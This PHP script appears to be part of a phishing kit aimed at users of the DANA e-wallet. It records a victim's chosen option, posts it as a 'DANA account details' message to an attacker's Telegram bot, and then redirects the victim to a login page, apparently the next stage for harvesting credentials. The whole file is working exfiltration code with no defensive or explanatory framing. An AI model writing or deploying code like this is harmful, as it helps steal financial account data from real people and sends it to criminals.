<?php
session_start();

$fitur = isset($_POST['fitur']) ? $_POST['fitur'] : '';

if ($fitur === '') {
  die('Pilihan tidak ditemukan.');
}

include 'tel.php';

$pesan = "┏━━━━━━━━━━━━━━━━━━━━┓\n";
$pesan .= "┣  〘𝗗𝗘𝗧𝗔𝗜𝗟 𝗔𝗞𝗨𝗡 𝗗𝗔𝗡𝗔 〙\n";
$pesan .= "┣ 𝗢𝗣𝗦𝗜 : $fitur\n";
$pesan .= "┣\n";
$pesan .= "┣〘 𝑩𝒚 : 𝑵𝒐𝑺𝒌𝒊𝒍𝒍𝑿 〙\n";
$pesan .= "┗━━━━━━━━━━━━━━━━━━━━┛";

$url = "https://api.telegram.org/bot$token/sendMessage";
$data = [
  'chat_id' => $chat_id,
  'text' => $pesan,
  'parse_mode' => 'Markdown'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

if ($result !== false) {
  $_SESSION['fitur_dipilih'] = $fitur;
}

header("Location: login.html");
exit;
?>